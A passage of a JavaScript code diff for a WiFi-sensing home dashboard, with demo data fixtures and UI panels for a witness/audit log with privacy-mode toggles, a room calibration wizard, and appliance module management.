room_id: 'bedroom_3', stale: false, vetoed: false, seeds: ['seed-bedroom-3'],
|
||||
presence: { value: 'occupied', confidence: 0.79 },
|
||||
posture: { value: 'lying', confidence: 0.74 },
|
||||
breathing_bpm: { value: jitter(18, 2), confidence: 0.69 },
|
||||
heart_bpm: null, // null = not trained (§6 invariant 3)
|
||||
restlessness: { value: 0.46, confidence: 0.6 },
|
||||
anomaly: { value: 0.22, confidence: 0.7, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
room_id: 'kitchen', stale: false, vetoed: true, seeds: ['seed-livingroom-a1', 'seed-hallway-c3'],
|
||||
presence: { value: 'occupied', confidence: 0.6 },
|
||||
posture: { value: null, confidence: null }, // suppressed by veto — withheld, NOT zero (§4.5)
|
||||
breathing_bpm: { value: null, confidence: null },
|
||||
heart_bpm: { value: null, confidence: null },
|
||||
restlessness: { value: 0.4, confidence: 0.5 },
|
||||
anomaly: { value: 0.91, confidence: 0.88, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
room_id: 'office', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
|
||||
presence: { value: 'absent', confidence: 0.95 },
|
||||
posture: null, // null = not trained (§6 invariant 3)
|
||||
breathing_bpm: null,
|
||||
heart_bpm: null,
|
||||
restlessness: { value: 0.0, confidence: 0.9 },
|
||||
anomaly: { value: 0.05, confidence: 0.9, threshold: 0.8 },
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
// ── Fleet map / federation (§4.3) ───────────────────────────────────
|
||||
export function federation() {
|
||||
return {
|
||||
coordinator: 'seed-livingroom-a1', round: 47, k_healthy: 4, delta_status: 'exchanging',
|
||||
invariant: 'model deltas only — never raw CSI',
|
||||
krum: { f: 1, multi: true }, cadence_min: 30,
|
||||
mesh_links: [
|
||||
{ a: 'seed-livingroom-a1', b: 'seed-bedroom-1', health: 'green' },
|
||||
{ a: 'seed-bedroom-1', b: 'seed-bedroom-2', health: 'green' },
|
||||
{ a: 'seed-bedroom-2', b: 'seed-bedroom-3', health: 'amber' },
|
||||
{ a: 'seed-bedroom-1', b: 'seed-hallway-c3', health: 'red' },
|
||||
],
|
||||
fused_events: [{ kind: 'fall', seeds: ['seed-livingroom-a1', 'seed-hallway-c3'], n: 2 }, { kind: 'occupant-track', seeds: ['seed-bedroom-1', 'seed-bedroom-2', 'seed-livingroom-a1'], n: 3 }],
|
||||
};
|
||||
}
|
||||
|
||||
// ── Witness / audit (§4.9) ──────────────────────────────────────────
|
||||
export function witnessLog(page = 0, size = 12) {
|
||||
const total = 240;
|
||||
const items = Array.from({ length: size }, (_, i) => {
|
||||
const n = page * size + i;
|
||||
const seedTier = n % 2 === 0;
|
||||
return {
|
||||
entity_id: seedTier ? `rvf.store.write.${184210 - n}` : ['sensor.living_room_presence', 'binary_sensor.front_door', 'sensor.bedroom_breathing_rate'][n % 3],
|
||||
old_state: seedTier ? null : ['false', 'off', '14.5'][n % 3],
|
||||
new_state: seedTier ? `sha256:${(0x9a3f + n).toString(16)}…` : ['true', 'on', '15.1'][n % 3],
|
||||
ts: ago(n * 37),
|
||||
tier: seedTier ? 'seed-sha256' : 'homecore-ed25519',
|
||||
seed: ['seed-livingroom-a1', 'seed-bedroom-1', 'seed-bedroom-2', 'seed-bedroom-3'][n % 4],
|
||||
key_fp: ['a1b2c3d4', 'e5f6a7b8', 'c9d0e1f2', 'b3a4c5d6'][n % 4],
|
||||
};
|
||||
});
|
||||
return { items, page, size, total };
|
||||
}
|
||||
export function privacyModes() {
|
||||
return [
|
||||
{ seed: 'seed-livingroom-a1', mode: 'full-publish' },
|
||||
{ seed: 'seed-bedroom-1', mode: 'audit-only' },
|
||||
{ seed: 'seed-bedroom-2', mode: 'audit-only' },
|
||||
{ seed: 'seed-bedroom-3', mode: 'audit-only' },
|
||||
{ seed: 'seed-hallway-c3', mode: 'audit-only' },
|
||||
];
|
||||
}
|
||||
|
||||
// ── Events / automations (§4.8) ─────────────────────────────────────
|
||||
export function recentEvents(n = 40) {
|
||||
const variants = ['StateChanged', 'EntityRegistered', 'ConfigReloaded'];
|
||||
const ents = ['sensor.living_room_presence', 'binary_sensor.front_door', 'light.kitchen_ceiling', 'sensor.bedroom_breathing_rate'];
|
||||
return Array.from({ length: n }, (_, i) => ({
|
||||
type: variants[i % 3],
|
||||
entity_id: ents[i % ents.length],
|
||||
old_state: ['off', 'false', '14.5'][i % 3],
|
||||
new_state: ['on', 'true', '15.1'][i % 3],
|
||||
ts: ago(i * 11),
|
||||
user_id: i % 4 === 0 ? 'operator' : null,
|
||||
context: { id: 'ctx-' + (1000 + i), parent_id: i % 3 === 0 ? 'ctx-' + (999 + i) : null, grandparent_id: i % 6 === 0 ? 'ctx-' + (998 + i) : null },
|
||||
source: ['seed-livingroom-a1', 'cog-ha-matter'][i % 2],
|
||||
}));
|
||||
}
|
||||
|
||||
// ── Settings (§4.10) ────────────────────────────────────────────────
|
||||
export function settings() {
|
||||
return {
|
||||
mqtt: { broker: 'mqtt://cognitum-v0:1883', user: 'homecore', mdns: '_ruview-ha._tcp', connected: true },
|
||||
tokens: [
|
||||
{ name: 'ios-companion', last_used: ago(120), created: ago(8000000) },
|
||||
{ name: 'node-red', last_used: ago(60000), created: ago(20000000) },
|
||||
],
|
||||
ha_disco_entities: 21,
|
||||
esp32: [
|
||||
{ node_id: 'esp32-lr-01', ip: '192.168.1.31', port: 5566, firmware: '1.2.0', room: 'living_room', seed: 'seed-livingroom-a1' },
|
||||
{ node_id: 'esp32-br1-01', ip: '192.168.1.32', port: 5566, firmware: '1.2.0', room: 'bedroom_1', seed: 'seed-bedroom-1' },
|
||||
{ node_id: 'esp32-br2-01', ip: '192.168.1.33', port: 5566, firmware: '1.2.0', room: 'bedroom_2', seed: 'seed-bedroom-2' },
|
||||
{ node_id: 'esp32-br3-01', ip: '192.168.1.34', port: 5566, firmware: '1.2.0', room: 'bedroom_3', seed: 'seed-bedroom-3' },
|
||||
],
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
// §4.9 Witness / Audit Log — ADR-131.
|
||||
//
|
||||
// Persistent privacy-mode banner (aggregate + per-SEED), the unified
|
||||
// two-tier witness timeline (SEED SHA-256 chain + homecore Ed25519
|
||||
// chain merged chronologically), paginated 12-at-a-time, and a
|
||||
// regulated-deployment attestation-bundle export. Privacy-mode toggles
|
||||
// are high-stakes and gated behind an explicit inline confirm (§6 honesty
|
||||
// — never silently mutate what a SEED publishes).
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, relTime } from '../ui.js';
|
||||
|
||||
const PAGE_SIZE = 12;
|
||||
|
||||
export default {
|
||||
meta: { title: 'Audit' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
root.appendChild(sectionHeader('Witness / Audit Log', 'Two-tier provenance — SEED SHA-256 store chain + homecore Ed25519 state chain'));
|
||||
if (api.isDemo('audit')) root.appendChild(banner('DEMO — contract-conformant witness data until the live audit endpoint lands (ADR-131 §7.1).', 'amber'));
|
||||
|
||||
// Async data accessors now return Promises (api.js). Wrap the initial
|
||||
// loads in try/catch; on failure surface the typed audit/witness banner
|
||||
// (§12 W5 distinguishes "not yet wired" upstreams) and bail.
|
||||
let modes;
|
||||
let firstPage;
|
||||
try {
|
||||
modes = (await api.privacyModes()).map((m) => ({ ...m }));
|
||||
firstPage = await api.witnessLog(0, PAGE_SIZE);
|
||||
} catch (e) {
|
||||
root.appendChild(banner('Audit/witness unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
const privacyHost = h('div');
|
||||
root.appendChild(privacyHost);
|
||||
const renderPrivacy = () => { clear(privacyHost); privacyHost.appendChild(privacyCard(modes, renderPrivacy)); };
|
||||
renderPrivacy();
|
||||
|
||||
// Unified timeline — its own host so pagination re-renders in place.
|
||||
const timelineHost = h('div');
|
||||
root.appendChild(timelineHost);
|
||||
|
||||
let page = firstPage.page;
|
||||
// Pagination Prev/Next re-fetch the new page (await) and re-render in place.
|
||||
const renderTimeline = async (res) => {
|
||||
page = res.page;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(timelineCard(res,
|
||||
async () => {
|
||||
if (page <= 0) return;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
|
||||
try { await renderTimeline(await api.witnessLog(page - 1, PAGE_SIZE)); }
|
||||
catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
|
||||
},
|
||||
async (last) => {
|
||||
if (last) return;
|
||||
clear(timelineHost);
|
||||
timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
|
||||
try { await renderTimeline(await api.witnessLog(page + 1, PAGE_SIZE)); }
|
||||
catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
|
||||
}));
|
||||
};
|
||||
await renderTimeline(firstPage);
|
||||
|
||||
// Attestation bundle export.
|
||||
root.appendChild(exportCard());
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── Privacy mode (aggregate banner + per-SEED rows + gated toggle) ─────
|
||||
function privacyCard(modes, rerender) {
|
||||
const allPublish = modes.every((m) => m.mode === 'full-publish');
|
||||
const anyAudit = modes.some((m) => m.mode === 'audit-only');
|
||||
|
||||
const top = allPublish
|
||||
? banner('Full-publish mode — SEED state changes are published over MQTT.', 'green')
|
||||
: banner('Audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages).', 'amber');
|
||||
|
||||
const list = h('div');
|
||||
modes.forEach((m, i) => list.appendChild(privacyRow(m, modes, rerender, i)));
|
||||
|
||||
return card({
|
||||
title: 'Privacy mode',
|
||||
children: [
|
||||
top,
|
||||
h('.t2.mt', 'Per-SEED configuration — each SEED chooses independently what leaves the device.'),
|
||||
list,
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function privacyRow(m, modes, rerender, idx) {
|
||||
const isPublish = m.mode === 'full-publish';
|
||||
const modePill = pill(m.mode, isPublish ? 'green' : 'amber');
|
||||
|
||||
// The confirm step lives inline beneath the row; only one at a time.
|
||||
const confirmHost = h('div');
|
||||
|
||||
const toggleBtn = button('Toggle privacy mode', {
|
||||
variant: 'ghost',
|
||||
onClick: () => {
|
||||
clear(confirmHost);
|
||||
confirmHost.appendChild(confirmStep(m, modes, rerender, confirmHost));
|
||||
},
|
||||
});
|
||||
|
||||
const wrap = h('div',
|
||||
h('.row',
|
||||
h('span.flex.gap-sm', mono(m.seed), modePill),
|
||||
toggleBtn),
|
||||
confirmHost);
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function confirmStep(m, modes, rerender, confirmHost) {
|
||||
const target = m.mode === 'full-publish' ? 'audit-only' : 'full-publish';
|
||||
const summary = target === 'audit-only'
|
||||
? `${m.seed} will STOP publishing state changes over MQTT — only on-SEED SHA-256 digests remain.`
|
||||
: `${m.seed} will START publishing state changes over MQTT (full state values leave the device).`;
|
||||
|
||||
const confirmBtn = button('Confirm', {
|
||||
variant: 'primary',
|
||||
onClick: () => {
|
||||
const live = modes.find((x) => x.seed === m.seed);
|
||||
if (live) live.mode = target;
|
||||
rerender();
|
||||
},
|
||||
});
|
||||
const cancelBtn = button('Cancel', { variant: 'ghost', onClick: () => clear(confirmHost) });
|
||||
|
||||
return card({
|
||||
tint: target === 'audit-only' ? 'amber' : null,
|
||||
children: [
|
||||
h('.t2', h('span', 'Switch '), mono(m.seed), h('span', ` → ${target}?`)),
|
||||
h('.mt', summary),
|
||||
h('.flex.gap-sm.mt', confirmBtn, cancelBtn),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── Unified two-tier witness timeline ──────────────────────────────────
|
||||
function timelineCard(res, onPrev, onNext) {
|
||||
const { items, page, size, total } = res;
|
||||
const lastPage = Math.max(0, Math.ceil(total / size) - 1);
|
||||
const isLast = page >= lastPage;
|
||||
|
||||
const head = h('.row',
|
||||
h('span.k', 'entity · old → new · when · tier · source SEED · key'),
|
||||
h('span.t2', `merged chronological — both chains`));
|
||||
|
||||
const body = h('div');
|
||||
if (!items.length) body.appendChild(h('.muted-empty', 'No witness entries.'));
|
||||
items.forEach((it) => body.appendChild(witnessRow(it)));
|
||||
|
||||
const from = total === 0 ? 0 : page * size + 1;
|
||||
const to = Math.min(total, page * size + items.length);
|
||||
const pager = h('.flex.spread.mt',
|
||||
h('span.t2', `Showing ${from}–${to} of ${total}`),
|
||||
h('span.flex.gap-sm',
|
||||
button('‹ Prev', { variant: 'ghost', onClick: onPrev, disabled: page <= 0 }),
|
||||
button('Next ›', { variant: 'ghost', onClick: () => onNext(isLast), disabled: isLast })));
|
||||
|
||||
return card({ title: 'Witness timeline', children: [head, body, pager] });
|
||||
}
|
||||
|
||||
function witnessRow(it) {
|
||||
const seedTier = it.tier === 'seed-sha256';
|
||||
const tierPill = pill(it.tier, seedTier ? 'cyan' : 'purple');
|
||||
|
||||
// old → new. SEED-tier writes have no prior state and a sha256 digest as
|
||||
// the "new" value — render the digest mono so it reads as a hash, not state.
|
||||
const transition = h('span.flex.gap-sm',
|
||||
h('span.mono.t2', it.old_state == null ? '∅' : it.old_state),
|
||||
h('span.t3', '→'),
|
||||
h('span.mono', it.new_state == null ? '∅' : it.new_state));
|
||||
|
||||
return h('.row',
|
||||
h('span.flex.gap-sm.wrap',
|
||||
mono(it.entity_id),
|
||||
transition),
|
||||
h('span.flex.gap-sm.wrap',
|
||||
h('span.t2', relTime(it.ts)),
|
||||
tierPill,
|
||||
mono(it.seed),
|
||||
h('span.mono.t3', keyFp(it.key_fp))));
|
||||
}
|
||||
|
||||
function keyFp(fp) {
|
||||
if (!fp) return '—';
|
||||
return String(fp).slice(0, 8) + '…';
|
||||
}
|
||||
|
||||
// ── Attestation bundle export (regulated-deployment compliance) ────────
|
||||
function exportCard() {
|
||||
const status = h('.t2.mt');
|
||||
const btn = button('Export attestation bundle', {
|
||||
variant: 'ghost',
|
||||
onClick: () => {
|
||||
clear(status);
|
||||
status.appendChild(h('span.green',
|
||||
'Bundle prepared — SEED SHA-256 store chain + homecore Ed25519 state chain packaged for compliance handoff.'));
|
||||
},
|
||||
});
|
||||
return card({
|
||||
title: 'Attestation bundle',
|
||||
children: [
|
||||
h('.t2', 'Packages both witness chains (SEED SHA-256 + homecore Ed25519) for regulated-deployment compliance handoff.'),
|
||||
h('.mt', btn),
|
||||
status,
|
||||
],
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.7 Calibration Wizard — baseline → enroll → train → verify.
|
||||
// Stepped wizard (1–5) against the ADR-151 calibration HTTP API.
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, bar, banner, button, mono } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Calibration' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
const cal = api.calibration;
|
||||
const state = { step: 1, room_id: '', seed: '', baseline_id: null, anchorIdx: 0, trainResult: null };
|
||||
// Track the active baseline poll so it can be cancelled on Restart, on a
|
||||
// step change, and when the panel itself is torn down (the router only
|
||||
// calls the cleanup this render() returns — a per-card _cleanup was never
|
||||
// invoked, leaking the setTimeout loop).
|
||||
let activePoll = null;
|
||||
function stopPoll() {
|
||||
if (activePoll) { activePoll.cancelled = true; if (activePoll.timer) clearTimeout(activePoll.timer); activePoll = null; }
|
||||
}
|
||||
|
||||
root.appendChild(sectionHeader('Calibration Wizard', 'baseline → enroll → train → verify'));
|
||||
if (cal.demo) root.appendChild(banner('DEMO — cog-calibration HTTP API (ADR-151) simulated in-browser; the live service replaces this (§7.1).', 'amber'));
|
||||
const stepper = h('.stepper');
|
||||
const body = h('div');
|
||||
root.appendChild(stepper);
|
||||
root.appendChild(body);
|
||||
|
||||
const STEPS = ['Select', 'Baseline', 'Enroll', 'Train', 'Verify'];
|
||||
function paintStepper() {
|
||||
clear(stepper);
|
||||
STEPS.forEach((s, i) => {
|
||||
const n = i + 1;
|
||||
const cls = n === state.step ? 'active' : (n < state.step ? 'done' : '');
|
||||
stepper.appendChild(h('.step-pill' + (cls ? '.' + cls : ''), h('span.n', n < state.step ? '✓' : String(n)), s));
|
||||
});
|
||||
}
|
||||
function go(step) { stopPoll(); state.step = step; paintStepper(); render(); }
|
||||
function render() {
|
||||
clear(body);
|
||||
if (state.step === 1) body.appendChild(step1());
|
||||
else if (state.step === 2) body.appendChild(step2());
|
||||
else if (state.step === 3) body.appendChild(step3());
|
||||
else if (state.step === 4) body.appendChild(step4());
|
||||
else body.appendChild(step5());
|
||||
}
|
||||
|
||||
// ── Step 1 — select room + SEED ────────────────────────────────
|
||||
function step1() {
|
||||
const roomInput = h('input.search', { placeholder: 'room_id (A-Za-z0-9_- , 1–64)', value: state.room_id });
|
||||
const seedSel = h('select.inline');
|
||||
const warn = h('div');
|
||||
let seedList = [];
|
||||
(async () => {
|
||||
try { seedList = (await api.seeds()).filter((s) => s.online); }
|
||||
catch (e) { warn.appendChild(banner('SEED fleet unavailable — ' + (e.message || e), 'red')); }
|
||||
seedList.forEach((s) => seedSel.appendChild(h('option', { value: s.device_id }, `${s.device_id} (${s.zone})`)));
|
||||
})();
|
||||
const validate = () => {
|
||||
const ok = /^[A-Za-z0-9_-]{1,64}$/.test(roomInput.value);
|
||||
const seed = seedList.find((s) => s.device_id === seedSel.value);
|
||||
clear(warn);
|
||||
if (!ok) warn.appendChild(banner('room_id must match [A-Za-z0-9_-]{1,64}', 'red'));
|
||||
else if (seed && seed.frame_rate_hz < 80) warn.appendChild(banner(`CSI ingest low (${seed.frame_rate_hz} Hz) — a broken pipeline silently fails calibration`, 'amber'));
|
||||
return ok;
|
||||
};
|
||||
roomInput.addEventListener('input', validate);
|
||||
seedSel.addEventListener('change', validate);
|
||||
return card({
|
||||
title: 'Step 1 — Select room and SEED', children: [
|
||||
h('h3', 'room_id'), roomInput,
|
||||
h('h3.mt', 'Serving SEED'), seedSel, warn,
|
||||
h('.mt', button('Next', { variant: 'primary', onClick: () => { if (validate()) { state.room_id = roomInput.value; state.seed = seedSel.value; go(2); } } })),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── Step 2 — baseline capture ──────────────────────────────────
|
||||
function step2() {
|
||||
const progress = h('.bar', { style: { height: '14px' } }, h('span'));
|
||||
const meta = h('.t2.mt');
|
||||
const baselineLine = h('div');
|
||||
const c = card({
|
||||
title: 'Step 2 — Baseline capture (room must be empty)', children: [
|
||||
progress, meta, baselineLine,
|
||||
h('.mt', button('Restart', {
|
||||
variant: 'ghost',
|
||||
// Cancel the in-flight poll loop (was leaked before), reset the
|
||||
// session, and start a fresh capture.
|
||||
onClick: () => { stopPoll(); cal.reset(); clear(baselineLine); startCapture(); },
|
||||
})),
|
||||
],
|
||||
});
|
||||
|
||||
// Single-flight: stopPoll() before (re)arming guarantees one loop.
|
||||
function startCapture() {
|
||||
stopPoll();
|
||||
const session = { cancelled: false, timer: null };
|
||||
activePoll = session;
|
||||
(async () => {
|
||||
let startRes;
|
||||
try { startRes = await cal.start(); }
|
||||
catch (e) { clear(meta); meta.appendChild(banner('Baseline start failed — ' + (e.message || e), 'red')); return; }
|
||||
if (session.cancelled) return;
|
||||
state.baseline_id = (startRes && startRes.baseline_id) || state.baseline_id;
|
||||
const loop = async () => {
|
||||
if (session.cancelled) return;
|
||||
let st;
|
||||
try { st = await cal.status(); }
|
||||
catch (e) { clear(meta); meta.appendChild(banner('Status unavailable — ' + (e.message || e), 'red')); return; }
|
||||
if (session.cancelled) return;
|
||||
progress.firstChild.style.width = pct(st.frames, st.target) + '%';
|
||||
clear(meta); meta.appendChild(document.createTextNode(`${st.frames}/${st.target} frames · ETA ${st.eta_s}s · z_median ${st.z_median}`));
|
||||
if (st.motion_flagged) { if (!c.querySelector('.banner')) c.insertBefore(banner('Room must be empty — movement detected', 'amber'), progress); }
|
||||
else { const b = c.querySelector('.banner'); if (b) b.remove(); }
|
||||
if (st.target > 0 && st.frames >= st.target) {
|
||||
activePoll = null;
|
||||
state.baseline_id = state.baseline_id || 'bl-unknown';
|
||||
clear(baselineLine);
|
||||
baselineLine.appendChild(h('.mt', h('span.green', 'Baseline complete · '), mono(state.baseline_id), h('span.t2', ' (record this — it anchors STALE detection)')));
|
||||
baselineLine.appendChild(h('.mt', button('Continue to enrollment', { variant: 'primary', onClick: () => go(3) })));
|
||||
return;
|
||||
}
|
||||
session.timer = setTimeout(loop, 600);
|
||||
};
|
||||
loop();
|
||||
})();
|
||||
}
|
||||
|
||||
startCapture();
|
||||
return c;
|
||||
}
|
||||
|
||||
// ── Step 3 — anchor enrollment ─────────────────────────────────
|
||||
function step3() {
|
||||
const anchors = cal.ANCHORS;
|
||||
const counter = h('h3', 'enrollment');
|
||||
const list = h('div');
|
||||
const current = h('div');
|
||||
async function paint() {
|
||||
let acc;
|
||||
try { acc = new Set(((await cal.enrollStatus()).accepted) || []); }
|
||||
catch (e) { clear(current); current.appendChild(banner('Enroll status unavailable — ' + (e.message || e), 'red')); acc = new Set(); }
|
||||
clear(counter); counter.appendChild(document.createTextNode(`${acc.size} / ${anchors.length} anchors accepted`));
|
||||
clear(list);
|
||||
anchors.forEach((label, i) => {
|
||||
list.appendChild(h('.row', mono(label),
|
||||
acc.has(label) ? pill('accepted', 'green') : (i === state.anchorIdx ? pill('current', 'cyan') : pill('pending', 'grey'))));
|
||||
});
|
||||
clear(current);
|
||||
const label = anchors[state.anchorIdx];
|
||||
if (!label) {
|
||||
current.appendChild(h('.mt', h('span.green', 'All anchors processed · '),
|
||||
button('Train specialists', { variant: 'primary', onClick: () => go(4) })));
|
||||
return;
|
||||
}
|
||||
current.appendChild(h('h3.mt', `Anchor: ${label}`));
|
||||
current.appendChild(h('.t2', instruction(label)));
|
||||
current.appendChild(h('.mt', button('Capture anchor', {
|
||||
variant: 'primary', onClick: async () => {
|
||||
let r;
|
||||
try { r = await cal.anchor(label); }
|
||||
catch (e) { current.appendChild(banner('Capture failed — ' + (e.message || e), 'red')); return; }
|
||||
const f = r.features;
|
||||
const res = h('.mt', r.accepted ? pill('accepted', 'green') : pill('retry', 'amber'),
|
||||
r.reason ? h('span.amber', ' ' + r.reason) : null,
|
||||
f ? h('.mono.t2.mt', `mean ${f.mean} · var ${f.variance} · breathing ${f.breathing_score} · heart ${f.heart_score}`) : null);
|
||||
current.appendChild(res);
|
||||
if (r.accepted) { state.anchorIdx++; setTimeout(paint, 700); }
|
||||
},
|
||||
})));
|
||||
}
|
||||
paint();
|
||||
return card({ title: 'Step 3 — Anchor enrollment', children: [counter, list, current] });
|
||||
}
|
||||
|
||||
// ── Step 4 — train ─────────────────────────────────────────────
|
||||
function step4() {
|
||||
const body4 = h('div', h('.muted-empty', 'Training…'));
|
||||
const c = card({ title: 'Step 4 — Train specialists', children: [body4] });
|
||||
(async () => {
|
||||
let r;
|
||||
try { r = await cal.train(state.room_id); }
|
||||
catch (e) { clear(body4); body4.appendChild(banner('Training failed — ' + (e.message || e), 'red')); return; }
|
||||
state.trainResult = r;
|
||||
clear(body4);
|
||||
const specs = [
|
||||
['presence', r.presence && `threshold ${r.presence.threshold} · var ${r.presence.occupied_var}`],
|
||||
['posture', r.posture && `${r.posture.prototypes} prototypes`],
|
||||
['breathing', r.breathing && `min_score ${r.breathing.min_score}`],
|
||||
['heartbeat', r.heartbeat && `min_score ${r.heartbeat.min_score}`],
|
||||
['restlessness', r.restlessness && `calm ${r.restlessness.calm} · active ${r.restlessness.active}`],
|
||||
['anomaly', r.anomaly && `${r.anomaly.prototypes} prototypes · scale ${r.anomaly.scale}`],
|
||||
];
|
||||
specs.forEach(([name, detail]) => {
|
||||
body4.appendChild(h('.row', mono(name),
|
||||
detail ? h('.flex.gap-sm', pill('trained', 'green'), h('span.t2', detail))
|
||||
: h('.flex.gap-sm', pill('null', 'amber'), button('Re-enroll missing anchors', { variant: 'ghost', onClick: () => go(3) }))));
|
||||
});
|
||||
body4.appendChild(h('.mt', button('Verify live', { variant: 'primary', onClick: () => go(5) })));
|
||||
})();
|
||||
return c;
|
||||
}
|
||||
|
||||
// ── Step 5 — verify live ───────────────────────────────────────
|
||||
function step5() {
|
||||
const rows = h('div', h('.muted-empty', 'Loading live RoomState…'));
|
||||
(async () => {
|
||||
let live;
|
||||
try {
|
||||
const all = await api.roomStates();
|
||||
live = all.find((r) => r.room_id === state.room_id) || all[0];
|
||||
} catch (e) { clear(rows); rows.appendChild(banner('Live RoomState unavailable — ' + (e.message || e), 'red')); return; }
|
||||
clear(rows);
|
||||
if (!live) { rows.appendChild(h('.muted-empty', 'No RoomState yet — give the room a moment after training.')); return; }
|
||||
rows.appendChild(h('.row', 'Presence', live.presence ? statusPill(live.presence.value) : h('span.t3', '—')));
|
||||
rows.appendChild(h('.row', 'Posture', live.posture ? statusPill(live.posture.value) : h('span.t3', '—')));
|
||||
rows.appendChild(h('.row', 'Breathing', h('span.cyan', live.breathing_bpm ? live.breathing_bpm.value + ' BPM' : '—')));
|
||||
rows.appendChild(h('.row', 'Heart rate', h('span.cyan', live.heart_bpm ? live.heart_bpm.value + ' BPM' : '—')));
|
||||
})();
|
||||
return card({
|
||||
title: 'Step 5 — Verify live', children: [
|
||||
h('.t2', 'Stand in the room to confirm presence; sit/lie to confirm posture; breathe normally to confirm vitals.'),
|
||||
rows,
|
||||
h('.flex.mt',
|
||||
button('Confirm and save', { variant: 'primary', onClick: () => { cal.reset && cal.reset(); ctx.navigate('#/rooms'); } }),
|
||||
button("Something's wrong — re-enroll", { variant: 'ghost', onClick: () => go(3) })),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
paintStepper();
|
||||
render();
|
||||
// The router invokes this on navigation away — tear down any live poll.
|
||||
return () => stopPoll();
|
||||
},
|
||||
};
|
||||
|
||||
// Guard against NaN%/Infinity% when target is 0/missing (§4.7 robustness).
|
||||
function pct(frames, target) {
|
||||
if (!(target > 0)) return 0;
|
||||
return Math.max(0, Math.min(100, (frames / target) * 100)).toFixed(0);
|
||||
}
|
||||
|
||||
function instruction(label) {
|
||||
const map = {
|
||||
empty: 'Leave the room empty and still.',
|
||||
stand_still: 'Stand still in the centre of the room.',
|
||||
sit: 'Sit down naturally.',
|
||||
lie_down: 'Lie down (bed/sofa).',
|
||||
breathe_slow: 'Breathe slowly and deeply.',
|
||||
breathe_normal: 'Breathe at your normal resting rate.',
|
||||
small_move: 'Make small fidgeting movements.',
|
||||
sleep_posture: 'Adopt your typical sleeping posture and stay still.',
|
||||
};
|
||||
return map[label] || label;
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
// §4.6 v0 Appliance COG Management — ADR-131.
|
||||
// Installed COGs (start/stop/restart/logs/config + sha256+sig shield),
|
||||
// COG Store / App Registry (mirrors seed.cognitum.one/store), OTA
|
||||
// Updates diff panels, and Hailo HEF status. Mirrors the Cog Store
|
||||
// visual conventions (card layout, category pills, install/details pair).
|
||||
|
||||
import { h, clear, card, pill, statusPill, sectionHeader, mono, button, collapsible, banner } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'COGs' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('COGs', 'v0 Appliance COG runtime & OTA updates'));
|
||||
if (api.isDemo('cogs')) {
|
||||
root.appendChild(h('.banner.amber', 'COG management shows contract-conformant DEMO data until the live cog-supervisor endpoint lands (ADR-131 §7.1).'));
|
||||
}
|
||||
|
||||
let cogs, updates;
|
||||
try {
|
||||
cogs = await api.cogs();
|
||||
updates = await api.cogUpdates();
|
||||
} catch (e) {
|
||||
root.appendChild(banner('COG runtime unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
// ── Installed COGs ─────────────────────────────────────────────
|
||||
root.appendChild(h('.flex.gap-sm', h('h2', 'Installed'), pill(String(cogs.length), 'cyan')));
|
||||
const installed = h('.grid.cols-2');
|
||||
cogs.forEach((c) => installed.appendChild(installedCogCard(c)));
|
||||
root.appendChild(installed);
|
||||
|
||||
// ── OTA Updates ────────────────────────────────────────────────
|
||||
root.appendChild(h('.flex.gap-sm.mt', h('h2', 'Updates'), pill(String(updates.length), updates.length ? 'amber' : 'grey')));
|
||||
if (!updates.length) {
|
||||
root.appendChild(card({ children: [h('.muted-empty', 'All COGs up to date.')] }));
|
||||
} else {
|
||||
updates.forEach((u) => root.appendChild(updateCard(u)));
|
||||
}
|
||||
|
||||
// ── Hailo HEF status ───────────────────────────────────────────
|
||||
// §6 honesty: the worker pill must reflect the REAL probe, not a
|
||||
// hardcoded "connected". Probe the appliance services for the
|
||||
// ruvector-hailo-worker; if that upstream is unavailable, show the
|
||||
// status as unknown rather than fabricating "connected".
|
||||
let workerStatus = 'unknown';
|
||||
try {
|
||||
const appliance = await api.appliance();
|
||||
const svc = (appliance.services || []).find((s) => s.name === 'ruvector-hailo-worker');
|
||||
if (svc && svc.status) workerStatus = svc.status;
|
||||
} catch { /* leave 'unknown' — honest not-available, never fabricated */ }
|
||||
|
||||
root.appendChild(h('h2.mt', 'Hailo-10H accelerator'));
|
||||
root.appendChild(hailoStatus(cogs, workerStatus));
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
